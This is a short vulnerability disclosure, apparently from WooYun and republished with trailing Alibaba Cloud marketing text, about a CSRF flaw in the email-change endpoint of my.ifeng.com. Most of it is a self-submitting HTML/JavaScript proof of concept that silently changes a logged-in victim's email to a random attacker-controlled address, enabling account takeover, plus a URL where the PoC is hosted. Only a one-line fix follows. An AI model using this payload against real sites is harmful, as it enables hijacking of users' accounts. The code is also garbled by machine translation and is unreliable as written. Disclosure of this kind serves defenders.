Csrf exists in the email address modified by Phoenix. After the email address is changed, will the Account be under control? However, the mailbox is special and must be unique. Therefore, we can use js to randomly extract one from the array.
In addition, an "oe" parameter (old email) is required in the request to modify the mailbox of Phoenix. I thought it was useless, but this item can be left blank, so I directly ignored it.
POC:
<Html>
<Body>
<Form name = "csrf" action = "http://my.ifeng.com /? _ C = user & _ a = do-edit-email "method =" POST ">
<Input type = text name = oe value = "root@wooyun.org"> </input>
<Script>
Var email = ['root1 @ wooyun.org ', 'root2 @ wooyun.org', 'root3 @ wooyun.org ', 'root4 @ wooyun.org', 'root5 @ wooyun.org ', 'root6 @ wooyun.org ', 'root7 @ wooyun.org ', 'root8 @ wooyun.org', 'root9 @ wooyun.org ', 'root10 @ wooyun.org'];
Function Rand (arr, len ){
Arr. sort (function (){
Return Math. random ()-0.5;
});
Return arr. slice (0, len );
}
// Alert (Rand (email, 1 ));
Document. write ("<input type = text name = e value =" + Rand (email, 1) + "> </input> ");
</Script>
<Input type = "submit" value = "submit"/>
</Form>
<Script>
Document. csrf. submit ();
</Script>
</Body>
</Html>
Http://email.smtp.yupage.com/ifeng.htm
Solution:
Add random tokens to the request.
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
